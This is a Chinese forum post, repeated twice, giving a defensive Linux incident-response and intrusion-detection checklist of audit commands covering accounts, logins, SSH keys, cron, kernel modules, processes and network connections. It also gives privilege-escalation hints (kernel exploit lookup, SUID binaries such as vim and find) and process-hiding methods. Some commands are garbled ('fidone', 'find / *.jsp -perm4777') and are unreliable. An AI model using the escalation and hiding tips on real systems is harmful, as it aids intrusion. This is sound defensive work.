14 人签到
    搜索
    Hi~登录注册
    查看: 226|回复: 0
    收起左侧

    Linux入侵检测

    [复制链接]

    457

    主题

    4

    精华

    534 小时

    在线时间

    管理员

    积分
    391
    发表于 2019-3-13 21:51:21 | 显示全部楼层 |阅读模式
    Linux系统入侵检测



    一.Linux应急响应或入侵检测的检查项目获取了什么?目的是什么?

    1. 快照信息:获取服务器的当前运行情况的信息,基础信息,日志信息,用于取回后做深入分析;

    2. 异常检查:初筛作用,初步做些排查和异常检查;

    3. 入侵检测:如 rkmod 等后门特征检查,包括历史曾经发现过的后门检查;



    二. 入侵检测和Linux应急检查为对应关系,二者关注什么地方和区别是什么?

        1. 应急响应人工肉眼看,适用于经验分析;

        2. 入侵检测使用分析脚本以及大数据自动化处理和判断,适用于全面分析和大规模的数据分析;

    3. 入侵检测存储到 ES 的 IR 索引中,使用 SOC分析工具来处理,也作为学习数据。

    基础信息

    系统版本、主机名、内核版本收集

    分析项:最基本的提权方式,查看内核版本,搜索对应的exp进行提权

    uname -a



    系统运行时间

    uptime

    timedatectl

    系统当前已经运行时间、时区等信息

    网卡配置

    分析方法:

    1.判断网卡是否为混杂模式来确定机器是否在嗅探流量

    ip link show | grep PROMISC



    路由信息

    分析方法:

    1、同类数据聚合分析,查找通过同一个路由表进出

    route -n

    arp信息

    分析方法:

    1. 服务器上arp 记录应该是只有实际建立过连接的 IP 才有 arp,可以聚类检查是否有超同组业务以外的 arp 地址。

    2. mc地址对应的 ip 应该是固定的,可以检查是否有 mac和 IP 不一致的,如有就是有 arp 欺骗

    arp -a -n

    登录用户

    分析项:有无爆破以及爆破痕迹,有无异常登录痕迹

    分析方法:

    /etc/passwd

    1.除root以为UID为0的帐号(UID为0的帐号也不一定都是可疑帐号,Freebsd默认存在toor帐号,且uid为0.(toor 在BSD官网解释为root替代帐号,属于可信帐号))

    2.非系统管理员添加的具有shell权限的帐号

    awk -F: '($3 == "0" && $1!="root") {print}' /etc/passwd (查询uid为0的账号)

    awk -F: '($4 == "0" && $1!="root" && $1!="sync" && $1!="shutdown" && $1!="halt" && $1!="operator") {print}' /etc/passwd (查询gid为0的账号)

    具有 shell 环境的用户——异常用户

    分析方法:

    1.查看当前环境中具有shell权限的用户,分析找出可疑用户。

    2.同类数据聚合统计,发现未知的异常用户。

    awk -F: '{if($7!~"nologin" && $7!~"shutdown" && $7!~"halt" &&$7!~"false" && $7!~"sync") print}' /etc/passwd



    sudo授权信息——异常用户权限

    分析方法:

    1.排除法,过滤掉正常用户的sudo权限,找出那些无需密码就可以执行root命令的用户。

    2.在同类数据中聚合这些异常权限用户,统计可控的服务器范围

    cat /etc/sudoers | grep -Ev "^$|#"



    登录信息

    分析项:登录错误是否为爆破用户,

    查看系统用户登录信息

    (a)last(数据源为/var/log/wtmp,wtmp文件中保存的是登录过本系统的用户的信息),统计系统所有用户的登录时间和信息,包括系统曾经进行过重启操作的重启时间信息,获取用户成功登陆的时间点和在线时长



    1. 用排除法,去掉正常登录 IP,找出异常登录 IP。

    2. 分析同一类业务的登录 IP,看是否有超范围的登录。

    3. 单个主机上等于用户统计分析,查看数据少的用户是否为异常用户

    4. 同一类数据登录用户进行聚合统计排序,查看数据少的用户是否为异常用户

    5. last登录用户和ip是否是不常用用户和ip,以及ip是否属于公网ip



    (b)lastlog 系统中所有用户最近一次登录信息(源为/var/log/utmp文件)

    分析项:

    1.排查一般不可登录的用户是否曾经登陆过,以及登录方式和登录IP。

    2.同类业务登录用户聚合排序(登录用户IP聚合排序),来排查恶意用户控制的主机数量



    (c) lastb(数据源为/var/log/btmp) 用于显示用户错误的登录列表;

    分析项:

    1. 用排除法,去掉正常登录错误 IP,找出异常登录错误IP。

    2. 分析同一类业务的登录错误 IP,看是否有超范围的登录。

    3. 同一类数据登录用户进行聚合统计排序,查看登录错误过多IP是否存在登录成功情况。



    Ps:/var/log/wtmp 文件结构和/var/run/utmp 文件结构一样,都是引用/usr/include/bits/utmp.h中的struct utmp;

    系统敏感文件/目录

    分析方法:有无可疑文件

    系统新增文件

    毋庸置疑,无论是weshell,还是后门总会对系统文件做修改的

    find ./ -mtime 0 -name"*.php"(查找24小时内被修改的php文件)

    find / -ctime 2(查找72小时内新增的文件)

    查找777的权限的文件➜➜➜ find / *.jsp -perm4777

    ls -ar |grep "^\."   查找以.开头的隐藏文件



    tmp目录

    最近刚爆发的WatchDogsMiner挖矿蠕虫表现为/tmp临时目录存在watchdogs文件,出现了crontab任务异常、网络异常、系统文件被删除、CPU异常卡顿等情况



    异常访问目标

    root用户登录时源IP地址

    分析方法:

    这里的是主动SSH 外联 IP。

        1.获取 /root/.ssh/known_hosts文件得到root用户登录时源IP地址

        2.通过白名单过滤,判断是否有异常ssh 登录;

        3.通过同类型业务聚类,判断是否有超范围访问。

    awk '{print $1}' /root/.ssh/known_hosts



    其他用户登录时源IP地址

    分析方法:

    这里的是主动SSH 外联 IP。

    1.通过遍历 /home/目录下的用户目录,获取 /home/*/.ssh/known_hosts文件得到该用户登录时源IP地址

    2. 通过白名单过滤,判断是否有异常ssh 登录;

    3. 通过同类型业务聚类,判断是否有超范围访问。

    for file in /home/*

    do   

            if [ -d $file ]   

            then      

                    echo -e "$file" >> $ SSHKNOWN_HOSTS      

                    awk '{print $1}'/$file/.ssh/known_hosts >>$ SSHKNOWN_HOSTS   

    fidone



    异常公钥用户

    root用户公钥登录时公钥信息

    分析方法:

    1.获取 /root/.ssh/authorized_keys文件得到root用户公钥登录时公钥信息

    2.根据白名单过滤root下公钥用户,查找异常的用户。

    3.在同类数据中聚合统计,找到超过范围的异常公钥用户。

    awk '{print $1,$3}' /root/.ssh/authorized_keys

    其他用户公钥登录时公钥信息

    分析方法:

    1.通过遍历 /home/目录下的用户目录,获取 /home/*/.ssh/authorized_keys文件得到该用户公钥登录时公钥信息

    2.根据白名单过滤公钥用户,查找异常的用户。

    3.在同类数据中聚合统计,找到超过范围的异常公钥用户。



    for file in /home/*

    do

        if [ -d $file ]

        then

            echo -e "$file" >> $ SSHKNOWN_KEYS

            awk '{print $1,$3}' /$file/.ssh/authorized_keys >> $ SSHKNOWN_KEYS

        fi

    done

    防火墙配置信息

    分析方法:

    1.        排查对已受访问控制的服务和系统是否有不规范的防火墙信息



    iptables -L -nv

    系统中rpm包校验

    分析方法:

    -V校验rpm包中的文件有无修改,没有提示即没有修改,主要验证8个信息

    rpm -aV



    异常检测

    开机启动项

    /etc/init.d是 /etc/rc.d/init.d 的软链接,测试新装的linux系统必须开启的服务,其他根据自己的工作需求来

    ssd、rsyslog、network、crond

    /etc/rc.local 脚本内容——异常自动执行脚本

    分析方法:

    1.基于白名单过滤,查找异常的执行命令

    2.基于已知的特征做数量统计或异常行为分析。



    cat /etc/rc.local | grep -Ev "^#$|^#"

    配置文件会在用户登陆之前读取,这个文件中写入了什么命令,在每次系统启动时都会执行一次,默认内容为“touch /var/lock/subsys/local”





    计划任务

    分析方法:

    1.通过关键字发现root的恶意计划任务,如(反弹命令)

    2.白名单过滤找到异常的计划任务

    crontab -l 或者 crontab -c /var/spool/cron/ -l



    /etc/crontab为系统执行计划,/var/spool/cron/为以帐号来区分每个用户的执行任务



    /etc/cron.d 计划任务内容——etc下异常计划任务

    分析方法:

    1.白名单过滤找到异常的计划任务

    2.关注挖矿等计划任务

    find /etc/cron.d/ |xargs grep -Ev "^#"



    用户定义的自启动项

    分析方法:

    注意这里面有时会用到 xinetd 服务,需要解析这里面的服务名和服务状态,因为服务状态只有on和off,计划状态为on时 level0-6都为on,反之亦然。

    1.白名单过滤发现异常启动项。

    2.同类数据统计分析,查找未知的异常自启服务

    用户配置的自启动项

    chkconfig --list



    系统自启动项

    分析方法:

    1.白名单过滤发现异常启动项。

    systemctl list-unit-files | grep enabled



    系统内核模块运行时的文件信息

    分析方法:

    1.根据文件夹时间戳,再白名单过滤找到未知的恶意内核模块





    默认系统内核模块文件信息

    ls -alt /sys/module

    8250                          gf128mul             mousedev            snd

    ablk_helper                   ghash_clmulni_intel  mptbase             snd_ac97_codec

    ac97_bus                      glue_helper          mptscsih            snd_ens1371

    acpi                          hid                  mptspi              snd_pcm

    acpiphp                       hid_apple            netpoll             snd_rawmidi

    aesni_intel                   hid_magicmouse       nf_conntrack        snd_seq

    ata_generic                   hid_ntrig            nf_conntrack_ipv4   snd_seq_device

    ata_piix                      i2c_piix4            nf_conntrack_ipv6   snd_seq_midi

    battery                       i8042                nf_defrag_ipv4      snd_seq_midi_event

    binfmt_misc                   intel_idle           nf_defrag_ipv6      snd_timer

    block                         intel_ishtp          nfit                soundcore

    bridge                        iosf_mbi             nf_nat              spurious

    cdrom                         ip6table_filter      nf_nat_ipv4         sr_mod

    configfs                      ip6table_mangle      nf_nat_ipv6         stp

    cpuidle                       ip6table_nat         nfnetlink           suspend

    crc32c_intel                  ip6table_raw         nf_reject_ipv4      syscopyarea

    crc32_pclmul                  ip6_tables           nf_reject_ipv6      sysfillrect

    crc_t10dif                    ip6table_security    parport             sysimgblt

    crct10dif_common              ip6t_REJECT          parport_pc          sysrq

    crct10dif_generic             ip6t_rpfilter        pata_acpi           tcp_cubic

    crct10dif_pclmul              ip_set               pcie_aspm           thermal

    cryptd                        iptable_filter       pciehp              tpm

    debug_core                    iptable_mangle       pci_hotplug         tpm_tis

    dm_log                        iptable_nat          pci_slot            tpm_tis_core

    dm_mirror                     iptable_raw          pcmcia_core         ttm

    dm_mod                        ip_tables            pcspkr              uhci_hcd

    dm_region_hash                iptable_security     ppdev               usbcore

    drm                           ipt_REJECT           printk              usbhid

    drm_kms_helper                ipv6                 processor           uv_nmi

    drm_panel_orientation_quirks  joydev               psmouse             vmd

    dynamic_debug                 kdb_main             pstore              vmw_balloon

    e1000                         kernel               rcupdate            vmwgfx

    ebtable_broute                keyboard             rcutree             vmw_vmci

    ebtable_filter                kgdboc               rng_core            vt

    ebtable_nat                   kgdbts               scsi_dh_alua        watchdog

    ebtables                      libata               scsi_dh_rdac        workqueue

    edac_core                     libcrc32c            scsi_mod            xfs

    efi_pstore                    libnvdimm            scsi_transport_spi  xhci_hcd

    efivars                       llc                  sd_mod              xt_conntrack

    ehci_hcd                      lrw                  serio_raw           xz_dec

    fb_sys_fops                   md_mod               sg                  zswap

    firmware_class                module               shpchp

    内核模块

    分析方法:

    1.白名单过滤,查找异常的内核模块。

    2.同类数据聚合并统计分析,发现被植入的未知的内核模块

    3.根据业务扩充白名单

    lsmod |./busybox grep -Ev "Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_nat|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2"





    运行进程

    分析方法:

    1.根据白名单过滤发现父进程为1的异常进程。

    2.根据cpu使用率发现挖矿进程。

    3.根据进程运行时间来发现异常进程。

    4.查找无父进程的孤立进程

    5.通过对比两种方式获取的进程数是否相等来判断是否有正在运行的进程被隐藏

    6.通过rootkit分析工具,如chkproc,chkrootkit,rootkit hunter

    ps auxfww



    案例:

    隐藏方法:


    (a)强行将进程 pid 变为 0,这种方法存在破绽因此不予考虑。

    (b)系统启动时会依据 /etc/fstab 文件内容来挂载分区,在 proc 分区挂载参数中加入 hidepid=2 参数后,登陆系统的用户只能查看到当前用户启动的进程的信息。也就是说, tomcat 用户只能看到属于 tomcat 用户进程的信息。

    (c)ps命令和top命令从/proc文件系统中读取进程信息并显示出来。因此,如果一个进程的进程号没有在/proc文件系统中反映出来,则这个进程被“隐藏”了,“隐藏”进程在ps或top命令的输出不出现

    You have 294 process hidden for readdir command

    You have 294 process hidden for ps command





    网络连接信息

    网络连接信息

    分析方法:

    1.发现异常监听端口进程,异常的连接通信。

    2.与后面的lsof输出结果做对比来发现异常端口和连接(命令替换或者rootkit过滤不完全)。

    3.同类数据中聚合统计,如:pname,dst_ip,dst_port,src_port发现其恶意控制范围



    netstat -antup

    netstat输出sockets信息

    分析方法:

    1.        通过白名单过滤来发现具有socket连接的进程信息

    netstat -plantux

    lsof获取网络连接信息

    分析方法:

    1.与上面netstat获取的数据进行对比分析发现异常端口和连接

    lsof -nPi | grep -v "127.0.0.1" |grep -v "::1"



    ps:

    1.netstat无权限控制,lsof有权限控制,只能看到本用户

    2.losf能看到pid和用户,可以找到哪个进程占用了这个端口

    进程文件

    进程运行文件路径

    分析方法:

    1.通过白名单过滤来发现异常进程。

    2.发现已处于deleted状态的异常进程

    find /proc -path '/proc/sys/fs' -prune -o -print |xargs  ls -al | grep 'exe ->' | sort -u >tmp.txt



    进程文件MD5计算

    分析方法:

    1.根据版本,和已知MD5值作对比判断文件是否被替换。

    2.Md5可以diff原始文件或者通过 VT跑一跑,分析有没有已知恶意程序



    find /proc -path '/proc/sys/fs' -prune -o -print |xargs ls -al | grep "exe ->" |awk '{print $11}'|sort -u >> tmp.txt

    for file in $( cat tmp.txt)

    do

      f=$( ls -tl $file|awk '{print $5}')

      if [ $f -le 50000000 ]; then

       md5sum $file >> exe.hash

      fi

    done

    diff exe.hash exe1.hash

    具有SUID的可执行文件

    分析方法:

    1.        通过白名单顾虑发现可疑的就有suid权限的文件

    已知可以用来提权的linux可执行文件有:

    Nmap、vim、find、bash、more、less、nano、cp

    默认具有SUID的可执行文件如下:



    find / -user root -perm -4000 -print 2>/dev/null

    进程中被删除的文件

    分析方法:

    1.通过已删除的文件名判断是否为恶意的进程或者是被注入的恶意文件。

    lsof | grep DEL

    rootkit进程信息



    日志异常检测



    日志获取

    分析方法:

    1.        获取 /var/log/ 目录下 audit、btmp、wtmp、secure、cron、lastlog日志

    wtmp的信息

    2.        异常常登录、异常用户、异常计划任务;

    3. 用排除法,去掉正常登录 IP,找出异常登录 IP;

    4. 通过白名单过滤,判断是否有异常ssh 登录;

    5. 统计确认是否有异常计划任务;

    6. 排除系统正常业务简化内容

    7.通过人工确认

    tar -zcf var_log.tar.gz  /var/log/audit \/var/log/btmp* /var/log/wtmp* /var/log/secure* /var/log/cron* \/var/log/lastlog

    日志分析

    Audit日志

    错误登录日志

    分析方法:

    1.根据错误登录频次发现异常登录用户、登录IP。

    2.与passwd_login_users标签数据作对比,发现异常用户。

    3. 判断是否有超正常范围的 IP 登录记录。

    4.同类数据聚合统计acct用户,数量极少的用户需要人工排查



    grep -i "fail" /var/log/audit/audit.log*

    sudo操作日志

    分析方法:

    1.排除法,过滤掉正常用户的sudo权限

    2.在同类数据中聚合这些异常权限用户,统计可控的服务器范围

    grep -i "sudo" /var/log/audit/audit.log*

    信息统计

    分析方法:

    1. 获取系统近一个月的统计信息,如:用户数量,错误登录用户数,执行命

    令数,事件数等

    Aureport

    Cron日志





    直入主题,WEB层的入侵检测一般会根据agent头信息、POST包请求信息基于攻击特征结合多逻辑语句以及响应体检测,HIDS基于主机层面去检测,关于HIDS入侵检测的内容比较多,这里根据自己的经验总结通用的应急流程,应急响应是个体力活,但是很有意思,攻防对抗中,谁更了解这个系统,谁就拥有主动权。本小白记忆力不好,特此记录,也方便后期自己应急和升华。

    0x01:前言

    基于主机层的应急响应和入侵检测还是又很多相同的地方的,那区别点又在哪?

    一.Linux应急响应或入侵检测的检查项目获取了什么信息?目的又是什么?

    1. 快照信息:HIDS可以获取服务器的当前运行情况的信息,基础信息,日志信息,便于安全监控和后期取证或深入分析;

    2. 异常检查:初筛作用,初步做些排查和异常检查,若发现异常,人工入侵分析;

    3. 入侵检测:如 rkmod 等后门特征检查,包括历史曾经发现过的后门检查;

    二. 入侵检测和Linux应急检查为对应关系,二者关注什么地方和区别是什么?

        1. 应急响应人工肉眼看,适用于经验分析;

        2. 入侵检测使用分析脚本以及大数据自动化处理和判断,适用于全面分析和大规模的数据分析;

    3. 入侵检测一般回存储到 ES 的 索引中,使用 常见的安全架构SOC分析工具来处理,也作为学习数据。

    0x02:排查流程

    一:基础信息

    (1.)系统版本、主机名、内核版本收集

    分析项:最基本的提权方式,查看内核版本,搜索对应的exp进行提权

    uname -a

    (2)系统运行时间

    分析方法:系统当前已经运行时间、时区等信息,在海量的日志里,在排除一些正常业务的日志后,以时间/IP为准线是一个比较不错的主线

    uptime

    timedatectl

    (3)网卡配置

    分析方法:

    1.判断网卡是否为混杂模式来确定机器是否在嗅探流量

    ip link show | grep PROMISC

    (4)路由信息

    分析方法:查找通过同一个路由表进出

    route -n

    (5)arp信息

    分析方法:

    1. 服务器上arp 记录应该是只有实际建立过连接的 IP 才有 arp,可以聚类检查是否有超同组业务以外的 arp 地址。

    2. mc地址对应的 ip 应该是固定的,可以检查是否有 mac和 IP 不一致的,如有就是有 arp 欺骗

    arp -a -n

    (5)登录用户

    分析项:有无爆破以及爆破痕迹,有无异常登录痕迹

    分析方法:

    /etc/passwd

    1.除root以为UID为0的帐号(UID为0的帐号也不一定都是可疑帐号,Freebsd默认存在toor帐号,且uid为0.(toor 在BSD官网解释为root替代帐号,属于可信帐号))

    2.非系统管理员添加的具有shell权限的帐号

    awk -F: '($3 == "0"&& $1!="root") {print}' /etc/passwd (查询uid为0的账号)

    awk -F: '($4 == "0"&& $1!="root" && $1!="sync" &&$1!="shutdown" && $1!="halt" &&$1!="operator") {print}' /etc/passwd (查询gid为0的账号)

    (6)具有 shell 环境的用户——异常用户

    分析方法:

    1.查看当前环境中具有shell权限的用户,分析找出可疑用户。

    2.同类数据聚合统计,发现未知的异常用户。

    awk -F: '{if($7!~"nologin"&& $7!~"shutdown" && $7!~"halt"&&$7!~"false" && $7!~"sync") print}'/etc/passwd

    (7)sudo授权信息——异常用户权限

    分析方法:

    1.排除法,过滤掉正常用户的sudo权限,找出那些无需密码就可以执行root命令的用户。

    2.在同类数据中聚合这些异常权限用户,统计可控的服务器范围

    cat /etc/sudoers | grep -Ev"^$|#"

    (8)登录信息

    分析项:

    (a)last(数据源为/var/log/wtmp,wtmp文件中保存的是登录过本系统的用户的信息),统计系统所有用户的登录时间和信息,包括系统曾经进行过重启操作的重启时间信息,获取用户成功登陆的时间点和在线时长

    1. 用排除法,去掉正常登录 IP,找出异常登录 IP。

    2. 分析同一类业务的登录 IP,看是否有超范围的登录。

    3. 单个主机上等于用户统计分析,查看数据少的用户是否为异常用户

    4. 同一类数据登录用户进行聚合统计排序,查看数据少的用户是否为异常用户

    5. last登录用户和ip是否是不常用用户和ip,以及ip是否属于公网ip





    (b)lastlog 系统中所有用户最近一次登录信息(源为/var/log/utmp文件)

    1.排查一般不可登录的用户是否曾经登陆过,以及登录方式和登录IP。

    2.同类业务登录用户聚合排序(登录用户IP聚合排序),来排查恶意用户控制的主机数量



    (c) lastb(数据源为/var/log/btmp) 用于显示用户错误的登录列表;

    1. 用排除法,去掉正常登录错误 IP,找出异常登录错误IP。

    2. 分析同一类业务的登录错误 IP,看是否有超范围的登录。

    3. 同一类数据登录用户进行聚合统计排序,查看登录错误过多IP是否存在登录成功情况。

    Ps:/var/log/wtmp 文件结构和/var/run/utmp 文件结构一样,都是引用/usr/include/bits/utmp.h中的struct utmp;



    (9)系统敏感文件/目录

    分析方法:毋庸置疑,无论是weshell,还是后门总会对系统文件做修改的,分析有无可疑文件、系统新增文件

    查找24小时内被修改的php文件➜➜➜ find ./ -mtime 0-name"*.php"

    查找72小时内新增的文件➜➜➜ find / -ctime 2

    查找777的权限的文件➜➜➜ find / *.jsp -perm4777

    查找以.开头的隐藏文件➜➜➜ ls -ar |grep"^\."   

    (10)TMP目录

    最近刚爆发的WatchDogsMiner挖矿蠕虫表现为/tmp临时目录存在watchdogs文件,出现了crontab任务异常、网络异常、系统文件被删除、CPU异常卡顿等情况





    (11)异常访问目标

    分析方法:

    分析root用户登录时源IP地址,这里的是主动SSH 外联 IP。

        1.获取 /root/.ssh/known_hosts文件得到root用户登录时源IP地址

        2.通过白名单过滤,判断是否有异常ssh 登录;

        3.通过同类型业务聚类,判断是否有超范围访问。

    awk '{print$1}' /root/.ssh/known_hosts

    其他用户登录时源IP地址

    分析方法:

    这里的是主动SSH 外联 IP。

    1.通过遍历 /home/目录下的用户目录,获取 /home/*/.ssh/known_hosts文件得到该用户登录时源IP地址

    2. 通过白名单过滤,判断是否有异常ssh 登录;

    3. 通过同类型业务聚类,判断是否有超范围访问。

    for file in /home/*

    do   

          if [ -d $file]   

          then      

            echo -e"$file" >> $ SSHKNOWN_HOSTS      

          awk '{print $1}'/$file/.ssh/known_hosts>>$ SSHKNOWN_HOSTS   

    fidone

    (12)异常公钥用户

    分析方法:分析异常root用户公钥登录时公钥信息

    1.获取 /root/.ssh/authorized_keys文件得到root用户公钥登录时公钥信息

    2.根据白名单过滤root下公钥用户,查找异常的用户。

    3.在同类数据中聚合统计,找到超过范围的异常公钥用户。

    awk '{print $1,$3}' /root/.ssh/authorized_keys

    其他用户公钥登录时公钥信息

    分析方法:

    1.通过遍历 /home/目录下的用户目录,获取 /home/*/.ssh/authorized_keys文件得到该用户公钥登录时公钥信息

    2.根据白名单过滤公钥用户,查找异常的用户。

    3.找出超过范围的异常公钥用户。

    for file in /home/*

    do

        if [ -d $file ]

        then

            echo -e"$file" >> $ SSHKNOWN_KEYS

            awk'{print $1,$3}' /$file/.ssh/authorized_keys >> $ SSHKNOWN_KEYS

        fi

    done

    (13)防火墙配置信息

    分析方法:

    排查对已受访问控制的服务和系统是否有不规范的防火墙信息

    iptables -L-nv

    (14)系统中rpm包校验

    分析方法:

    -V校验rpm包中的文件有无修改,没有提示即没有修改,主要验证8个信息

    rpm -aV

    二:异常检测

    (1)开机启动项

    /etc/init.d是 /etc/rc.d/init.d 的软链接,测试新装的linux系统必须开启的服务,其他根据自己的工作业务需求

    ssd、rsyslog、network、crond

    (2)/etc/rc.local 脚本内容——异常自动执行脚本

    分析方法:

    1.基于白名单过滤,查找异常的执行命令

    2.基于已知的特征做数量统计或异常行为分析。

    cat /etc/rc.local | grep -Ev"^#$|^#"



    配置文件会在用户登陆之前读取,这个文件中写入了什么命令,在每次系统启动时都会执行一次,默认内容为“touch /var/lock/subsys/local”

    (3)计划任务

    分析方法:

    1.通过关键字发现root的恶意计划任务,如(反弹命令)

    2.白名单过滤找到异常的计划任务

    crontab -l 或者 crontab-c /var/spool/cron/ -l

    ps:/etc/crontab为系统执行计划,/var/spool/cron/为以帐号来区分每个用户的执行任务

    (3)/etc/cron.d 计划任务内容——etc下异常计划任务

    分析方法:

    1.白名单过滤找到异常的计划任务

    2.关注挖矿等计划任务

    find /etc/cron.d/ |xargs grep -Ev "^#"

    (4)用户定义的自启动项

    分析方法:

    注意这里面有时会用到 xinetd 服务,需要解析这里面的服务名和服务状态,因为服务状态只有on和off,计划状态为on时 level0-6都为on,反之亦然。

    1.白名单过滤发现异常启动项。

    2.同类数据统计分析,查找未知的异常自启服务

    用户配置的自启动项

    chkconfig --list

    (5)系统自启动项

    分析方法:

    1.白名单过滤发现异常启动项。

    systemctl list-unit-files | grep enabled

    (6)系统内核模块运行时的文件信息

    分析方法:

    1.根据文件夹时间戳,再白名单过滤找到未知的恶意内核模块



    默认系统内核模块文件信息

    ls -alt /sys/module

    8250                          gf128mul             mousedev            snd

    ablk_helper                   ghash_clmulni_intel  mptbase             snd_ac97_codec

    ac97_bus                      glue_helper          mptscsih            snd_ens1371

    acpi                          hid                  mptspi              snd_pcm

    acpiphp                       hid_apple            netpoll             snd_rawmidi

    aesni_intel                   hid_magicmouse       nf_conntrack        snd_seq

    ata_generic                   hid_ntrig            nf_conntrack_ipv4   snd_seq_device

    ata_piix                      i2c_piix4            nf_conntrack_ipv6   snd_seq_midi

    battery                       i8042                nf_defrag_ipv4      snd_seq_midi_event

    binfmt_misc                   intel_idle           nf_defrag_ipv6      snd_timer

    block                         intel_ishtp          nfit                soundcore

    bridge                        iosf_mbi             nf_nat              spurious

    cdrom                         ip6table_filter      nf_nat_ipv4         sr_mod

    configfs                      ip6table_mangle      nf_nat_ipv6         stp

    cpuidle                       ip6table_nat         nfnetlink           suspend

    crc32c_intel                  ip6table_raw         nf_reject_ipv4      syscopyarea

    crc32_pclmul                  ip6_tables           nf_reject_ipv6      sysfillrect

    crc_t10dif                    ip6table_security    parport             sysimgblt

    crct10dif_common              ip6t_REJECT          parport_pc          sysrq

    crct10dif_generic             ip6t_rpfilter        pata_acpi           tcp_cubic

    crct10dif_pclmul              ip_set               pcie_aspm           thermal

    cryptd                        iptable_filter       pciehp              tpm

    debug_core                    iptable_mangle       pci_hotplug         tpm_tis

    dm_log                        iptable_nat          pci_slot            tpm_tis_core

    dm_mirror                     iptable_raw          pcmcia_core         ttm

    dm_mod                       ip_tables            pcspkr              uhci_hcd

    dm_region_hash                iptable_security     ppdev               usbcore

    drm                           ipt_REJECT           printk              usbhid

    drm_kms_helper                ipv6                 processor           uv_nmi

    drm_panel_orientation_quirks  joydev               psmouse             vmd

    dynamic_debug                 kdb_main             pstore              vmw_balloon

    e1000                         kernel               rcupdate            vmwgfx

    ebtable_broute                keyboard             rcutree             vmw_vmci

    ebtable_filter                kgdboc               rng_core            vt

    ebtable_nat                   kgdbts               scsi_dh_alua        watchdog

    ebtables                      libata               scsi_dh_rdac        workqueue

    edac_core                     libcrc32c            scsi_mod            xfs

    efi_pstore                    libnvdimm            scsi_transport_spi  xhci_hcd

    efivars                       llc                  sd_mod              xt_conntrack

    ehci_hcd                      lrw                  serio_raw           xz_dec

    fb_sys_fops                   md_mod               sg                  zswap

    firmware_class                module               shpchp

    (7)内核模块

    分析方法:

    1.白名单过滤,查找异常的内核模块。

    2.同类数据聚合并统计分析,发现被植入的未知的内核模块

    3.不断的根据业务扩充白名单

    lsmod |./busybox grep -Ev"Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_nat|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2"

    (8)运行进程(需关注)

    分析方法:

    1.根据白名单过滤发现父进程为1的异常进程。

    2.根据cpu使用率发现挖矿进程。

    3.根据进程运行时间来发现异常进程。

    4.查找无父进程的孤立进程

    5.通过对比两种方式获取的进程数是否相等来判断是否有正在运行的进程被隐藏

    6.通过rootkit分析工具,如chkproc,chkrootkit,rootkit hunter

    ps auxfww

    案例:

    隐藏方法:参考链接

    (a)强行将进程 pid 变为 0,这种方法存在破绽因此不予考虑。

    (b)系统启动时会依据 /etc/fstab 文件内容来挂载分区,在 proc 分区挂载参数中加入 hidepid=2 参数后,登陆系统的用户只能查看到当前用户启动的进程的信息。也就是说, tomcat 用户只能看到属于 tomcat 用户进程的信息。
